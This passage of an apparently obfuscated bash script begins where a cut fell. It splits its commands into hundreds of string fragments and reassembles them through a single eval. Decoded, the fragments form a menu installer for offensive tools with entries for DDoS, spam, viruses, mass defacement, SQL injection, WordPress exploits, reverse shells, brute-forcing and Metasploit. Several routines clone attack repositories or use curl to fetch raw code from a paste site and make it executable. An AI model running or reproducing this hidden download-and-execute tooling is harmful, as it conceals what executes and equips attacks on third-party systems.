';lSz=' ┌─';OMz='┴┘'\''';tTz='ipt}';bJz='HxX ';yTz='8/Sc';MBz='ion:';mGz='/m4l';FIz='& mv';TTz='T'\''';gHz='gle';SBz='<<<<';bHz='curl';xEz='┐┬┌─';jFz='[11]';wBz=' '\''';bz='echo';SFz='Ctor';VBz=' ___';AVz='erl}';TUz='/2/3';lz='The ';kOz='┘ ╩';NVz=' m';SIz='ebsp';qSz=' ├┬┘';kLz='/wif';nDz=' Kin';xGz='loum';KLz='Flux';LJz='on2 ';ICz='WEB ';yRz='mer-';Zz='clea';GFz='└─┘└';VUz='on3 ';dJz='av.p';gEz='r.gi';oPz='3rSe';KWz='Surn';lGz='ku}'\''';gRz='┬┘ ';PHz='qlma';pSz='─┤├┤';dCz='Spam';CJz='8/OW';MNz='rix0';YDz='er'\''';RJz='://p';dWz='ash+';TLz='oute';xCz='hoic';VEz='ve t';cTz='ersu';HBz='keer';gCz='rus'\''';mz='Scri';fUz='nano';yUz=' / p';nKz='┴ ┴'\''';GJz='av M';rLz=' = 6';pFz='e'\''';QHz='p';gDz=' > "';qNz='─┐┌┬';SVz='gina';qz='HaCk';YTz=' $ot';bKz=' ╦┌─';XVz='n}'\'' ';YWz='Skil';RCz='[5] ';sRz=' ╚╝';uGz='reen';NEz='/zan';PKz='fo-s';OSz='gren';EDz='if [';JUz='rpti';CDz=' min';GTz='IP-L';oEz='.git';sGz='-SY}';az='r';vVz='╝╚═╝';CSz='call';HHz='lah/';aVz='n.gi';JVz='nsta';aJz='1VYV';YKz='wn.p';oGz='ku.g';bDz='s'\''';JPz=' MK_';FHz='/0xA';tVz=' '\''╩ ';dEz='er}'\''';UTz='ccge';mJz='~/we';SPz='k-br';eKz='│├┤ ';VFz='LiNJ';jVz='═╗'\''';nJz='-mas';PQz='h.gi';JLz='nAtt';UBz=''\''___';bBz='_'\''';AGz='Mass';SRz='a/ma';tMz='host';lCz=' Abo';pDz='ols.';xDz='art ';LGz=' MRK';eOz='├─┤│';cz=' -e ';DCz='$gre';pVz='╣║ ';xIz='OWSc';NNz='7ksa';gSz='com';LSz='viru';UFz='0xSQ';tJz=''\'' m';hDz=' ddo';QSz='turn';DWz='My N';sCz='en';xPz=' = 9';tOz='Hash';rPz='/b3-';yEz=''\''║║║';GSz='us';MGz='ING'\''';EUz='Loca';kJz='v we';uOz=' Bus';eUz='o / ';FPz='weem';TDz='╝'\''';OHz='ct/s';eIz='/Moh';aDz='lori';SGz='ive ';nUz='{toi';VJz='raw/';jOz='┘└┴┘';kBz='_/ ';hBz='|__|';yWz='7376';LFz='admi';WJz='K1VY';BKz='S.gi';SKz='= 20';BFz='┴┐ ';WSz='/sip';SQz=' ╦═';VMz='ol'\''';UNz='/txt';DDz='e';RDz='═╩╝╚';nLz='te2}';qTz='ng-S';eWz='Pyth';EMz=''\''╠═╝';MKz='-Sit';vOz='ter'\''';Uz='e='\''\';lNz='ing*';ECz='en ';aEz='ing-';mHz='gith';OKz='g/in';SMz='PAYM';nBz='| |_';fFz='ploi';sQz='udo}';SUz='on 1';AOz='└──┴';wCz='ut C';WIz='/Uba';ESz='om'\''';RRz='edor';aSz='all.';RSz='ix/S';cFz='sqld';eVz=' ╦';uSz='┘┴└─';sHz='meye';QFz='ku'\''';aWz='Prog';FTz='ptux';sVz=' ╦'\''';ZWz='ls: ';dBz=' | ';EVz='te -';bOz='┐│││';LLz='/fac';rNz='┐┬ ';SJz='aste';URz='ra.s';VQz='│ ││';LMz='┴ ┴ ';uHz='6076';lJz='bdav';MCz=' HAC';pTz='mux';LQz='MK_h';eBz='| | ';ROz='runc';wUz='ip /';JXz=''\''Ent';YJz=' && ';POz='O-CO';kQz='udo'\''';cPz='/Has';CUz='or}'\''';uPz='/Ayo';wRz='Mali';yMz='chmo';wGz='rsal';mKz='┴└─┘';VPz='e.gi';Kz='[1;3';nEz='oris';ZRz=' ╦ ';yPz='Weem';xTz='ipt';NIz='t}'\'' ';qEz='fi';iPz='amit';ALz='pts'\''';jPz='/ins';aRz='╦┬┬─';JGz='tion';TCz='list';MDz='╗'\''';nGz='l0k/';hJz='expl';uFz=' OWS';NLz='ux.g';FQz='Forc';UVz='/TOK';bQz='│'\''';ACz=' Men';NKz='e}'\'' ';YIz='shel';PBz='llow';HDz=' 1 ]';LRz='nt.c';mVz='║║ ╦';ARz='tu}'\''';wIz='= 14';GBz='/Hac';iFz='ell'\''';MTz='Inta';UDz='en '\''';TKz='Aclp';oNz='a-at';vSz=' ╩';TPz='ute-';IGz='orma';DKz='MRKI';kz=' ';KVz='ll A';UIz='Xshe';lVz='╗║║║';bRz='┌─┐'\''';PMz='Meta';ySz='Ngro';Ez='red=';BPz='zer'\''';SDz='═╝╚═';MWz='G HA';MXz='ay'\'' ';QQz=' = 7';lFz='tack';gWz='nd H';dRz='├─┘├';ZJz='mv K';oBz='_| |';cBz=''\'' | ';GMz='┬┘│ ';fPz='37Ha';uKz='ersp';kSz=' ╔╦';eRz='─┤││';QXz=' G';WPz='pass';ASz='Grab';WVz='9 ]';vNz='││ ';OIz='/The';yBz='====';tDz='ddos';tPz=' = 8';THz='wpsp';iBz=' |__';rTz='hell';oLz='/der';cWz='er B';SWz='ears';OGz='o-Si';KNz='AX}'\''';cSz='om}'\''';ZNz='T-sh';Lz='4m'\''';bUz='{fig';PLz='/rev';mFz='[12]';CNz='tup.';sWz='me/H';kGz='= 2 ';JJz='oit}';sIz='= 13';AKz='e/VJ';ERz='mux-';jRz='╝│├┬';pPz='cID/';KIz='ldu';ZVz='rtb/';KMz=''\''╩ ';SEz=''\''Don';CFz='╠═╣├';YVz='/kuu';ITz='or'\''';WGz='L'\''';MMz='┴ ┴─';kPz='taha';aCz='s Ro';fOz=' ├┴';RBz=''\''[<<';SLz='ll/r';FSz=' vir';kWz=' '\''+ ';rUz='/ pe';ORz='sev/';lQz='Ubun';pCz='amme';oOz='Face';xHz='r ~/';TRz='fedo';HRz='ra}'\''';yOz='aHac';vBz='$red';oTz='4us/';wOz='1337';gQz='└─┘ ';JTz='Scrp';iKz='├┴┐'\''';DMz='┬┐'\''';IVz='sh I';BQz='it-s';rWz=': T.';PSz='/Nox';cVz='═╦╔╗';ISz='rus ';QKz='ite.';RMz='it'\''';uTz='/Bag';WCz=' Att';rMz='NHar';JWz='i'\''';kTz='r-In';NHz='roje';sSz=' └─';RFz='Inje';iLz='e/ma';IWz='alan';JHz='= 6 ';KSz='er5/';ePz='8/13';IIz='.py ';NTz='ll p';sUz='rl}'\''';yKz='scri';sDz=' [ $';Yz=';33m';oKz='3vil';RKz='git';uEz='┐ ';mSz='┐'\''';cGz='web ';yLz=''\''╔═╗';JOz='rdli';oQz='ra'\''';GNz='st-d';YQz=' ╠╦';fEz='eb/h';vHz='c9a';dGz='= 1 ';Iz='blue';bSz='4 ]';nVz='───╠';OCz='[4] ';WMz='A-Ra';YPz='hydr';rSz=' ║';DSz='Malc';AQz='/eva';nSz=''\''║ ║';VHz='ump}';DBz='legr';JDz=''\''╔╦╗';jBz=' |';oMz='it}'\''';RWz='20 Y';SHz='Wpsp';aFz='WPSp';IUz='g/Sc';tNz='│ │├';jLz='ster';tGz=''\'' $g';YUz='figl';ZKz='┬┌─┐';hLz='ifit';AEz='load';Fz=''\''\e[';gMz='-apk';aTz='/the';hIz='i/XA';fGz='/bdb';ZMz='smal';CBz=' Te';QLz='erse';HJz='ass ';hEz='t';SXz='Luck';mLz=' = 5';hUz='{rub';hKz='┤│ ';XDz='Hamm';lDz=' 0 ]';qWz='gram'; eval "$Az$Bz$Cz$Dz$z$Ez$Fz$Gz$Hz$z$Iz$Jz$Kz$Lz$z$Mz$Nz$Oz$Pz$Qz$z$Rz$Jz$Kz$Sz$z$Tz$Uz$Cz$Vz$z$Wz$Xz$Oz$Yz$Qz$z$Zz$az$z$bz$cz$dz$ez$fz$gz$gz$gz$gz$gz$gz$gz$gz$gz$gz$gz$gz$gz$hz$z$bz$cz$dz$ez$iz$Az$jz$kz$kz$kz$lz$mz$nz$oz$pz$qz$rz$dz$sz$kz$kz$kz$tz$z$bz$cz$dz$ez$iz$Az$jz$kz$kz$kz$uz$vz$wz$xz$yz$xz$ABz$Wz$BBz$kz$kz$kz$tz$z$bz$cz$dz$ez$iz$Az$jz$kz$kz$kz$CBz$DBz$EBz$FBz$GBz$HBz$IBz$JBz$KBz$kz$kz$kz$tz$z$bz$cz$dz$ez$iz$Az$jz$kz$kz$kz$kz$kz$LBz$MBz$NBz$OBz$PBz$QBz$kz$kz$kz$kz$tz$z$bz$cz$dz$ez$RBz$SBz$SBz$SBz$SBz$SBz$SBz$SBz$SBz$SBz$SBz$SBz$SBz$SBz$TBz$z$bz$cz$dz$ez$UBz$VBz$WBz$XBz$kz$YBz$kz$ZBz$VBz$WBz$XBz$aBz$YBz$VBz$bBz$z$bz$cz$dz$ez$cBz$dBz$eBz$fBz$kz$gBz$kz$hBz$iBz$eBz$jBz$kBz$lBz$iBz$mBz$z$bz$cz$dz$ez$cBz$iBz$nBz$oBz$pBz$qBz$kz$rBz$dBz$nBz$sBz$tBz$lBz$dBz$uBz$z$bz$z$bz$z$bz$cz$vBz$kz$wBz$xBz$yBz$ACz$BCz$yBz$CCz$z$bz$cz$DCz$ECz$wBz$FCz$GCz$Qz$z$bz$cz$DCz$ECz$wBz$HCz$ICz$JCz$Qz$z$bz$cz$DCz$ECz$wBz$KCz$LCz$MCz$NCz$z$bz$cz$DCz$ECz$wBz$OCz$PCz$QCz$z$bz$cz$DCz$ECz$wBz$RCz$SCz$TCz$Qz$z$bz$cz$DCz$ECz$wBz$UCz$VCz$SCz$WCz$XCz$Qz$z$bz$cz$DCz$ECz$wBz$YCz$ZCz$aCz$bCz$z$bz$cz$DCz$ECz$wBz$cCz$dCz$eCz$fCz$gCz$z$bz$cz$DCz$ECz$wBz$hCz$iCz$jCz$z$bz$cz$DCz$ECz$wBz$kCz$lCz$mCz$nCz$oCz$pCz$jCz$z$bz$cz$DCz$ECz$wBz$qCz$rCz$Qz$z$bz$cz$DCz$sCz$z$tCz$uCz$vCz$wCz$xCz$yCz$ADz$BDz$CDz$DDz$z$EDz$FDz$GDz$HDz$z$IDz$z$Zz$az$z$bz$cz$dz$ez$JDz$KDz$LDz$MDz$z$bz$cz$dz$ez$NDz$ODz$PDz$MDz$z$bz$cz$dz$ez$QDz$RDz$SDz$TDz$z$bz$z$bz$cz$vBz$kz$wBz$xBz$yBz$ACz$BCz$yBz$CCz$z$bz$cz$DCz$UDz$FCz$VDz$WDz$z$bz$cz$DCz$UDz$HCz$XDz$YDz$z$bz$cz$DCz$UDz$KCz$ZDz$aDz$bDz$z$bz$cz$DCz$cDz$qCz$dDz$eDz$z$bz$z$tCz$uCz$fDz$wCz$xCz$yCz$ADz$gDz$hDz$iDz$z$EDz$jDz$kDz$lDz$z$IDz$z$Zz$az$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$tDz$uDz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$VDz$CEz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$NEz$OEz$PEz$QEz$REz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$tDz$cEz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$XDz$dEz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$eEz$fEz$pCz$gEz$hEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$tDz$iEz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$ZDz$aDz$jEz$DCz$sCz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$kEz$lEz$mEz$nEz$oEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$pEz$z$mDz$nDz$oDz$pDz$qDz$z$qEz$z$rDz$sDz$rEz$cEz$vDz$z$IDz$z$Zz$az$z$bz$cz$dz$ez$sEz$tEz$uEz$vEz$wEz$xEz$Qz$z$bz$cz$dz$ez$yEz$AFz$BFz$CFz$DFz$EFz$Qz$z$bz$cz$dz$ez$FFz$GFz$HFz$IFz$JFz$KFz$Qz$z$bz$z$bz$cz$vBz$wBz$xBz$yBz$ACz$BCz$yBz$CCz$z$bz$cz$DCz$UDz$FCz$LFz$MFz$NFz$OFz$YDz$z$bz$cz$DCz$UDz$HCz$PFz$QFz$z$bz$cz$DCz$UDz$KCz$RFz$SFz$TFz$z$bz$cz$DCz$UDz$OCz$UFz$VFz$Qz$z$bz$cz$DCz$UDz$RCz$WFz$XFz$Qz$z$bz$cz$DCz$UDz$UCz$YFz$ZFz$z$bz$cz$DCz$UDz$YCz$aFz$bFz$Qz$z$bz$cz$DCz$UDz$cCz$cFz$dFz$z$bz$cz$DCz$UDz$hCz$eFz$fFz$gFz$z$bz$cz$DCz$UDz$kCz$hFz$iFz$z$bz$cz$DCz$UDz$jFz$kFz$lFz$YDz$z$bz$cz$DCz$UDz$mFz$nFz$oFz$pFz$z$bz$cz$DCz$UDz$qFz$rFz$sFz$jCz$z$bz$cz$DCz$UDz$tFz$uFz$vFz$z$bz$cz$DCz$UDz$wFz$xFz$yFz$AGz$BGz$bFz$Qz$z$bz$cz$DCz$UDz$CGz$DGz$EGz$z$bz$cz$DCz$UDz$FGz$GGz$HGz$IGz$JGz$bDz$z$bz$cz$DCz$UDz$KGz$LGz$MGz$z$bz$cz$DCz$UDz$NGz$HGz$OGz$PGz$z$bz$cz$DCz$UDz$QGz$RGz$SGz$TGz$UGz$VGz$WGz$z$bz$cz$DCz$UDz$qCz$dDz$Qz$z$bz$z$tCz$uCz$vCz$wCz$XGz$yCz$ADz$BDz$YGz$z$EDz$ZGz$aGz$bGz$z$IDz$z$Zz$az$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$dGz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$LFz$MFz$NFz$OFz$dEz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$fGz$gGz$hGz$LFz$MFz$NFz$OFz$iGz$jGz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$kGz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$PFz$lGz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$mGz$nGz$PFz$oGz$jGz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$pGz$eGz$z$IDz$qGz$rGz$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$RFz$SFz$sGz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$vGz$wGz$xGz$yGz$AHz$BHz$oEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$CHz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$UFz$VFz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$FHz$GHz$HHz$UFz$VFz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$IHz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$WFz$XFz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$FHz$GHz$HHz$WFz$XFz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$JHz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$YFz$KHz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$LHz$MHz$NHz$OHz$PHz$QHz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$RHz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$SHz$bFz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$mGz$nGz$THz$bFz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$UHz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$cFz$VHz$tGz$uGz$z$bz$z$FEz$z$WHz$XHz$YHz$ZHz$aHz$z$WHz$XHz$YHz$bHz$z$cHz$dHz$eHz$fHz$gHz$z$bHz$hHz$iHz$jHz$kHz$lHz$mHz$nHz$oHz$pHz$qHz$rHz$sHz$tHz$uHz$vHz$z$wHz$xHz$cFz$yHz$AIz$BIz$CIz$cFz$DIz$EIz$FIz$GIz$HIz$IIz$JIz$KIz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$LIz$eGz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$MIz$fFz$NIz$DCz$sCz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$OIz$PIz$QIz$RIz$SIz$bFz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$TIz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$UIz$VIz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$WIz$XIz$YIz$ZIz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$aIz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$bIz$cIz$dIz$DCz$sCz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$eIz$fIz$gIz$hIz$iIz$jIz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$kIz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$lIz$mIz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$nIz$oIz$pIz$qIz$rIz$oFz$DDz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$sIz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$tIz$uIz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$nIz$oIz$pIz$qIz$vIz$sFz$az$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$wIz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$xIz$yIz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$AJz$BJz$CJz$DJz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$EJz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$FJz$GJz$HJz$IJz$JJz$tGz$uGz$z$bz$z$FEz$z$KJz$XHz$YHz$ZHz$LJz$MJz$NJz$bHz$OJz$bHz$z$cHz$dHz$eHz$PJz$QJz$iDz$z$bHz$hHz$iHz$jHz$RJz$SJz$TJz$UJz$VJz$WJz$XJz$YJz$ZJz$aJz$bJz$cJz$dJz$eJz$z$wHz$xHz$cJz$fJz$gJz$hJz$iJz$jJz$kJz$lJz$IIz$mJz$lJz$nJz$oJz$fFz$hEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$pJz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$qJz$DHz$Az$EHz$z$bz$z$WHz$XHz$YHz$rJz$z$bz$cz$vBz$z$tCz$uCz$SEz$sJz$tJz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$uJz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$vJz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$wJz$xJz$yJz$AKz$BKz$hEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$CKz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$DKz$EKz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$FKz$GKz$HKz$IKz$JKz$oEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$KKz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$LKz$MKz$NKz$DCz$sCz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$FKz$GKz$HKz$OKz$PKz$QKz$RKz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$cGz$SKz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$TKz$UKz$DEz$EEz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$VKz$WKz$XKz$YKz$eJz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$pEz$z$mDz$nDz$oDz$pDz$qDz$z$qEz$z$rDz$sDz$rEz$iEz$vDz$z$IDz$z$Zz$az$z$bz$cz$dz$ez$sEz$ZKz$aKz$bKz$cKz$dKz$z$bz$cz$dz$ez$yEz$eKz$fKz$gKz$hKz$iKz$z$bz$cz$dz$ez$FFz$jKz$kKz$lKz$mKz$nKz$z$bz$z$bz$cz$vBz$wBz$xBz$yBz$ACz$BCz$yBz$CCz$z$bz$cz$DCz$UDz$FCz$oKz$pKz$qKz$rKz$Qz$z$bz$cz$DCz$UDz$HCz$sKz$Qz$z$bz$cz$DCz$UDz$KCz$tKz$uKz$bFz$Qz$z$bz$cz$DCz$UDz$OCz$vKz$PGz$z$bz$cz$DCz$UDz$RCz$vKz$wKz$z$bz$cz$DCz$UDz$UCz$xKz$yKz$ALz$z$bz$cz$DCz$UDz$qCz$dDz$Qz$z$bz$cz$DCz$sCz$z$tCz$uCz$vCz$wCz$XGz$yCz$ADz$BDz$BLz$CLz$z$EDz$DLz$ELz$lDz$z$IDz$z$Zz$az$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$vKz$uDz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$oKz$pKz$qKz$rKz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$FLz$GLz$HLz$ILz$JLz$cIz$gEz$hEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$vKz$cEz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$KLz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$LLz$vz$MLz$NLz$jGz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$vKz$iEz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$OLz$uKz$bFz$DHz$Az$EHz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$PLz$QLz$RLz$SLz$TLz$ULz$VLz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$vKz$WLz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$XLz$YLz$DEz$EEz$z$bz$z$FEz$z$WHz$XHz$YHz$ZLz$aLz$z$ZLz$bLz$cLz$dLz$oEz$eLz$UJz$fLz$gLz$hLz$iLz$jLz$kLz$QKz$lLz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$vKz$mLz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$XLz$nLz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$oLz$pLz$vKz$qLz$RKz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$rDz$sDz$vKz$rLz$vDz$z$IDz$z$Zz$az$z$bz$z$bz$cz$vBz$wDz$xDz$yDz$AEz$BEz$xKz$yKz$sLz$tGz$uGz$z$bz$z$FEz$z$GEz$HEz$IEz$JEz$KEz$LEz$MEz$tLz$uLz$vLz$wLz$xLz$hEz$z$bz$cz$vBz$z$tCz$uCz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$z$ZEz$aEz$yz$bEz$z$mDz$nDz$oDz$pDz$qDz$z$pEz$z$mDz$nDz$oDz$pDz$qDz$z$qEz$z$rDz$sDz$rEz$WLz$vDz$z$IDz$z$Zz$az$z$bz$cz$dz$ez$yLz$AMz$BMz$CMz$tEz$DMz$z$bz$cz$dz$ez$EMz$FMz$GMz$HMz$IMz$JMz$z$bz$cz$dz$ez$KMz$LMz$MMz$NMz$MMz$OMz$z$bz$z$bz$cz$vBz$wBz$xBz$yBz$ACz$BCz$yBz$CCz$z$bz$cz$DCz$UDz$FCz$PMz$QMz$RMz$z$bz$cz$DCz$UDz$HCz$SMz$TMz$z$bz$cz$DCz$UDz$KCz$OLz$uKz$bFz$Qz$z$bz$cz$DCz$UDz$OCz$UMz$VMz$z$bz$cz$DCz$UDz$RCz$WMz$gFz$z$bz$cz$DCz$UDz$UCz$XMz$iFz$z$bz$cz$DCz$UDz$YCz$DKz$YMz$z$bz$cz$DCz$UDz$cCz$ZMz$aMz$bMz$cMz$dMz$z$bz$cz$DCz$UDz$hCz$eMz$fMz$gMz$Qz$